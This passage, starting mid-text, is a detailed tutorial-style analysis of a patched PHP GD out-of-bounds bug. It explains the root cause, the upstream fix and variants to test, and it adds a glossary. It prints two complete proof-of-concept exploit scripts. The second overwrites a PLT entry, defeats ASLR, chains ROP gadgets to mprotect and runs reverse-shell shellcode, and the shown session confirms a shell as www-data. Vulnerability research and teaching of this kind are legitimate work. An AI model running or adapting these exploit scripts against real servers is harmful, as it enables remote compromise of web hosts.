new_img->transparent = gdTrueColorAlpha(im->red[transparent], im->green[transparent], im->blue[transparent], im->alpha[transparent]); # transparent out of bounds
...
}
Here transparent is used as an index into the red, green, blue and alpha arrays without a lower bound check. With a negative transparent value, the four bytes read from those arrays are combined into new_img->transparent, and that value can be read back from PHP with imagecolortransparent. Each call therefore leaks four bytes from an address determined by the offset. The comment in the code, # transparent out of bounds, is the researcher pointing at the exact spot.
Step 3: control EIP
The researcher combined the two primitives. The first proof of concept targets the command-line build and aims at the strlen PLT entry, found with:
objdump -d /home/user/php/php-70/sapi/cli/php|grep -A 2 strlen@plt
This asks objdump to disassemble the PHP binary and then filters the output for the strlen PLT stub. The result:
08065ce0 <strlen@plt>:
8065ce0: ff 25 c0 72 b4 08 jmp *0x8b472c0
8065ce6: 68 68 05 00 00 push $0x568
The important number is 0x8b472c0: that is the address the stub jumps through.
The exploit script:
<?php
ini_set('memory_limit', -1);
/*
objdump -d /home/user/php/php-70/sapi/cli/php|grep -A 2 strlen@plt
08065ce0 <strlen@plt>:
8065ce0: ff 25 c0 72 b4 08 jmp *0x8b472c0
8065ce6: 68 68 05 00 00 push $0x568
*/
$plt_strlen = 0x8b472c0;
$img = imagecreatetruecolor($plt_strlen + 0x10, 1); // Image with enough width to reach plt_strlen address
imagecolortransparent($img, -24060); // Constant offset to reach first element from array img->pixels
imagetruecolortopalette($img, TRUE, 3);
imagecolortransparent($img, 0xff); // Set to null first element from img->pixels
// Allocate palette colors
for ($i = 0; $i < 256; $i++) imagecolorallocatealpha($img, $i, $i, $i, $i);
// Overwrite strlen plt address with 0x44434241
imagesetpixel($img, $plt_strlen, 0, 0x41);
imagesetpixel($img, $plt_strlen+1, 0, 0x42);
imagesetpixel($img, $plt_strlen+2, 0, 0x43);
imagesetpixel($img, $plt_strlen+3, 0, 0x44);
Line by line:
ini_set('memory_limit', -1);removes PHP's memory limit, so the huge image can be allocated.$plt_strlen = 0x8b472c0;stores the address found withobjdump.imagecreatetruecolor($plt_strlen + 0x10, 1)creates a truecolour image that is extremely wide (as wide as the address value) and one pixel tall. The width is chosen so that the image's pixel array reaches thestrlenPLT entry in memory.imagecolortransparent($img, -24060)sets the transparent colour to a negative number.-24060is described in the code comment as a constant offset to reach the first element from the arrayimg->pixels.imagetruecolortopalette($img, TRUE, 3)converts the image to palette form, carrying the negative value through.imagecolortransparent($img, 0xff)triggers the null write, zeroing the first element ofimg->pixels.- The loop allocates 256 palette colours, so the palette is fully populated and the pixel writes below have valid colour indices to use.
- The four
imagesetpixelcalls overwrite thestrlenPLT address with the bytes0x41,0x42,0x43,0x44.
The crash under gdb confirms the instruction pointer is taken over:
gdb -q --args /home/user/php/php-70/sapi/cli/php poc3.php
No symbol table is loaded. Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/user/php/php-70/sapi/cli/php...done.
gdb-peda$ r
Starting program: /home/user/php/php-70/sapi/cli/php poc3.php
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x8b91660 ("text/html")
EBX: 0x8b47000 --> 0x8b46db8 --> 0x1
ECX: 0xee50aaae
EDX: 0xffffbe98 --> 0x8b47000 --> 0x8b46db8 --> 0x1
ESI: 0x8b47000 --> 0x8b46db8 --> 0x1
EDI: 0x8b7a518 --> 0x0
EBP: 0xffffba38 --> 0xffffbb98 --> 0xffffbba8 --> 0xffffbbb8 --> 0xffffbbd8 --> 0xffffc2e8 (--> ...)
ESP: 0xffffb9fc --> 0x83e6d0e (<get_default_content_type+70>: add esp,0x10)
EIP: 0x44434241 ('ABCD')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x44434241
[------------------------------------stack-------------------------------------]
0000| 0xffffb9fc --> 0x83e6d0e (<get_default_content_type+70>: add esp,0x10)
0004| 0xffffba00 --> 0x8b91660 ("text/html")
0008| 0xffffba04 --> 0x0
0012| 0xffffba08 --> 0x8a62758 ("/home/user/php/php-70/Zend/zend_hash.c")
0016| 0xffffba0c --> 0x83e6cd4 (<get_default_content_type+12>: add ebx,0x76032c)
0020| 0xffffba10 --> 0x0
0024| 0xffffba14 --> 0x8474df1 (<zend_hash_iterators_remove+8>: add eax,0x6d220f)
0028| 0xffffba18 --> 0x8b91660 ("text/html")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x44434241 in ?? ()
gdb-peda$
What this shows: the program crashed with a segmentation fault, which means it tried to run code at an address that does not contain valid instructions. The line EIP: 0x44434241 ('ABCD') is the proof: the processor was about to execute at the address the attacker wrote, and the bytes spell ABCD in ASCII. The instruction pointer took the written value.
Step 4: code execution
The second proof of concept targets the PHP-FPM build and aims at the write PLT entry:
objdump -d /usr/sbin/php5-fpm |grep -A 2 write|more
08096b50 <write@plt>:
8096b50: ff 25 a4 93 96 08 jmp *0x89693a4
8096b56: 68 30 07 00 00 push $0x730
Same idea as before: 0x89693a4 is the address the write stub jumps through.
The full script:
<?php
// Tested on Debian x86 Jessie update + NGINX + PHP-FPM
/*
objdump -d /usr/sbin/php5-fpm |grep -A 2 write|more
08096b50 <write@plt>:
8096b50: ff 25 a4 93 96 08 jmp *0x89693a4
8096b56: 68 30 07 00 00 push $0x730
*/
$plt_write = 0x89693a4;
function get_maps() {
$fh = fopen("/proc/self/maps", "r");
$maps = fread($fh, 31337);
fclose($fh);
return explode("\n", $maps);
}
// Fill heap with nulled basic gdImage structures
$imgs = array();
for ($i = 0; $i < 10; $i++) $imgs[$i] = imagecreatetruecolor(10, 10);
// Image with enough width to reach plt_write address
$evilimg = imagecreatetruecolor($plt_write + 10, 1);
// Set brush at last gdImage to leak evilimg address
imagesetbrush ($imgs[9], $evilimg);
// -516 : offset to reach **evilimg->pixels pointer
imagecolortransparent($evilimg, -516);
imagetruecolortopalette($evilimg, TRUE, 3);
// Data leak from **evilimg->pixels address trough imagescale bug
$imgtmp = imagescale($evilimg, 10, 10);
$x1 = imagecolortransparent($imgtmp);
echo "[+] pointer to colors @ 0x".dechex($x1)."\n";
// Restore truecolor evilimg
imagepalettetotruecolor($evilimg);
// -1443 offset to reach brush pointer from img[9] element
imagecolortransparent($evilimg, -1443);
// Data leak from img[9]->brush pointer = evilimg address
imagetruecolortopalette($evilimg, TRUE, 3);
$imgtmp2 = imagescale($evilimg, 10, 10);
$x2 = imagecolortransparent($imgtmp2);
echo "[+] pointer to image @ 0x".dechex($x2)."\n";
// Relative offset to reach first element from **evilimg->pixels (row 1 from image)
$off = -1 * ((($x2 - $x1) / 4) + 1550);
echo "[+] offset @ " . $off ."\n";
// Restore truecolor evilimg
imagepalettetotruecolor($evilimg);
// Set to null first element from evilimg->pixels
imagecolortransparent($evilimg, $off);
imagetruecolortopalette($evilimg, TRUE, 256);
imagecolortransparent($evilimg, 0xff);
// Bypass ASLR
$libc_base = 0;
foreach (get_maps() as $record)
if (strstr($record, "libc-") && strstr($record, "r-xp")) {
$libc_base = hexdec(explode('-', $record)[0]);
break;
}
if ($libc_base == 0)
die("[-] can't find libc base, you need an information leak :[");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";
/*
objdump -T /lib/i386-linux-gnu/libc.so.6|grep mprotect
000d4230 w DF .text 00000037 GLIBC_2.0 mprotect
*/
$mprotect_offset = 0xd4230;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";
/* gadgets
pgp5-fpm
0x086ea6d1 : pop ebx ; pop ebx ; aas ; pop ebx ; ret
0x080c5b76 : mov eax, ecx ; ret
0x086d1cf0 : xchg eax, esi ; ret
0x080efd28 : call esi
libc.so
0x00102ec1 : push ecx ; add al, 0x8b ; pop ebp ; cld ; leave ; ret
*/
$pivot_offset = 0x00102ec1;
$pivot = $libc_base + $pivot_offset;
$pop3 = 0x086ea6d1;
// Overwrite write@plt entry to pivot address
for ($i = 0; $i < 256; $i++) imagecolorallocatealpha($evilimg, $i, $i, $i, $i);
$pivot_str = pack('I', $pivot);
for ($i = 0; $i < strlen($pivot_str); $i++) {
imagesetpixel($evilimg, $plt_write + $i, 0, ord($pivot_str[$i]));
}
// Allocate shellcode
$pre = get_maps();
$buffer = str_repeat("\x41", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
if (count($tmp) != 1)
die('[-] you need infoleak :[');
$tmp = explode('-',array_values($tmp)[0])[0];
$align = 0xff;
$addr = hexdec($tmp) + 0x18; /* align to string */
echo "[+] buffer string @ 0x".dechex($addr)."\n";
// msfvenom -p linux/x86/shell_reverse_tcp -f python LHOST=[redacted] LPORT=31337
$shellcode = "";
$shellcode .= "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66";
$shellcode .= "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a";
$shellcode .= "\x00\x03\x01\x68\x02\x00\x7a\x69\x89\xe1\xb0\x66\x50";
$shellcode .= "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73";
$shellcode .= "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0";
$shellcode .= "\x0b\xcd\x80";
for ($i = 0; $i < strlen($shellcode); $i++) $buffer[$i] = $shellcode[$i];
echo "[+] building ropchain\n";
// int mprotect(void *addr, size_t len, int prot);
$rop_chain =
"AAAA" .
pack('I', $mprotect_addr) /* mprotect */ .
pack('I', $pop3) /* pop pop pop ret */ .
pack('I', $addr - 0x18) /* mprotect addr */ .
pack('I', 0x1000) /* mprotect len */ .
pack('I', 0x7) /* mprotect prot */ .
pack('I', $addr) /* jump to shellcode */ ;
$temp = tmpfile();
// Call to ropchain
fwrite($temp, $rop_chain);
fclose ($temp);
The script works in stages:
get_maps()reads/proc/self/maps, a file the operating system provides that lists every region of memory the current process has mapped, with its address range and permissions. This is how the script learns where libraries are loaded.- Ten small truecolour images are allocated to fill the heap (the area of memory used for dynamic allocations) with nulled
gdImagestructures. A large$evilimgis created wide enough to reach thewritePLT entry. imagesetbrush($imgs[9], $evilimg)stores a pointer to$evilimginside the last small image. A "brush" in GD is a pattern used when drawing; here it is being used as a known place to leak the address from.- With offset
-516, theimagescaleleak reads the**evilimg->pixelspointer into$x1. In plain words: the bug reads four bytes from a chosen distance before the array, and those four bytes happen to be a pointer to the image's pixel data. - The image is restored with
imagepalettetotruecolor, then offset-1443leaks the brush pointer from$imgs[9], which is the address of$evilimg, into$x2. - The relative offset
$offbetween the two leaked pointers is computed and used with the null write to zero the first element ofevilimg->pixels. - The libc base is read from
/proc/self/maps, looking for thelibc-mapping withr-xppermissions (read and execute). Themprotectoffset0xd4230is added to it to get the real address ofmprotectin this run. - The
writePLT entry is overwritten with the address of a libc pivot gadget (push ecx ; add al, 0x8b ; pop ebp ; cld ; leave ; ret), byte by byte withimagesetpixel. A "pivot" is a gadget that moves the stack pointer so the ROP chain is found. - A large buffer of
0x41bytes is allocated, its address found by diffing/proc/self/mapsbefore and after, and the reverse shell shellcode is copied into its start. - A ROP chain is built:
mprotectcalled with the buffer address, length0x1000and protection0x7(read, write and execute), then a jump to the shellcode. The chain is written to a temporary file, which triggers the overwrittenwritePLT entry.
The attacker session shows the result:
Call to PHP exploit:
$ lynx http://[redacted]/gd4.php
...
$ nc -vlp 31337
Listening on [[redacted]] (family 0, port 31337)
Connection from [[redacted]] port 31337 [tcp/*] accepted (family 2, sport 44816)
id -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
What this shows: lynx is a text-mode browser, used here to request the exploit page from the target. nc -vlp 31337 starts a listener on the attacker machine. The target then connects back, and the id -a command runs on the target, showing the process is running as www-data. That is a reverse shell.
Root cause
gdImageColorTransparent validates the colour only for palette images. On a truecolour image it assigns any integer, including a negative one, to im->transparent. gdImageTrueColorToPaletteBody then checks oim->transparent >= 0 before copying it into the palette image, so the negative value is never corrected. Downstream code treats transparent as an array index without a lower bound: the null write in gdImageColorTransparent and the four array reads in gdImageScaleBilinearPalette. The missing validation at the point of assignment is the root cause; the two consumers simply fail to defend themselves.
Impact
An attacker who can call these GD functions from PHP gets an arbitrary null write and an arbitrary memory read, both relative to the image's arrays. The report demonstrates that this is enough to overwrite a PLT entry, leak pointers to defeat ASLR, and build a ROP chain that calls mprotect and runs shellcode. On the tested Debian x86 Jessie build with NGINX and PHP-FPM this produced a reverse shell as www-data. The code execution proof of concept depends on the specific build and offsets; the null write and information leak are the general primitives.
Fix
The bug was fixed upstream on 2016-07-19 in commit [redacted]. The fix was shipped for PHP 5.5 (security only mode), PHP 5.6 and PHP 7.0, appearing in the changelogs for 5.5.38, 5.6.24 and 7.0.9.
Variants to test
- Call
imagecolortransparentwith a negative value on a truecolour image, convert withimagetruecolortopalette, then callimagecolortransparentagain and check whether memory before thealphaarray is zeroed. - After the same conversion, call
imagescaleand readimagecolortransparenton the result. A positive result that changes with the offset indicates the out-of-bounds read. - Try other GD functions that index the palette arrays with
transparent, and check whether they also lack a lower bound. - On other PHP builds, repeat the PLT overwrite with the offsets for that binary and confirm with a debugger that the instruction pointer takes the written value.
Hunting notes
This kind of bug hides in image processing libraries where a value is validated on one code path (palette images) but not another (truecolour images), and where that value is later used as an index. When reviewing GD or similar libraries, look for assignments to fields like transparent that skip validation, and for array accesses using those fields without a lower bound check. The report shows impact by moving from a crash to a controlled instruction pointer, then to a full ROP chain and a reverse shell.
Glossary
- Address: the number that identifies a location in memory, like a house number.
- Array: a row of adjacent memory slots holding the same kind of value, accessed by position.
- ASLR: Address Space Layout Randomisation; the operating system loads libraries at random addresses each run to make exploitation harder.
- Bilinear scaling: an image resizing method that blends neighbouring pixels; GD has a palette-specific version.
- Brush: a GD drawing pattern used when painting; here reused as a place to store a pointer.
- Code execution: getting a program to run instructions of the attacker's choosing.
- EIP: the 32-bit Intel register holding the address of the next instruction to execute.
- Gadget: a short existing sequence of instructions ending in
ret, used as a building block in a ROP chain. - GD: PHP's bundled image library, written in C.
- Heap: the area of memory used for dynamically allocated data.
- Information leak: a bug that lets an attacker read memory they should not see.
- libc: the standard C library, loaded into every C program; it contains functions such as
mprotect. - mprotect: a system call that changes the permissions (read, write, execute) of a memory region.
- Null write: writing a zero byte to a chosen memory location.
- Out-of-bounds access: reading or writing an array using an index outside its valid range.
- Palette image: an image where each pixel stores an index into a small list of colours.
- PHP: a programming language widely used for websites.
- PHP-FPM: the process manager that runs PHP for a web server such as NGINX.
- Pivot: a gadget that moves the stack pointer so a ROP chain can be reached.
- PLT entry: a small stub in a program that jumps to a function in a shared library; overwriting it redirects calls.
- Pointer: a value that is itself a memory address.
- Register: a small storage slot inside the processor.
- Reverse shell: a shell where the victim machine connects back to the attacker.
- ROP chain: a sequence of gadgets chained together to perform actions without injecting new code.
- Shellcode: small machine code, usually used to open a shell.
- Stack: the memory region holding return addresses and local variables during function calls.
- Transparent colour: the colour treated as see-through in an image.
- Truecolour image: an image where every pixel stores its own full colour.
- www-data: the user account a web server commonly runs as.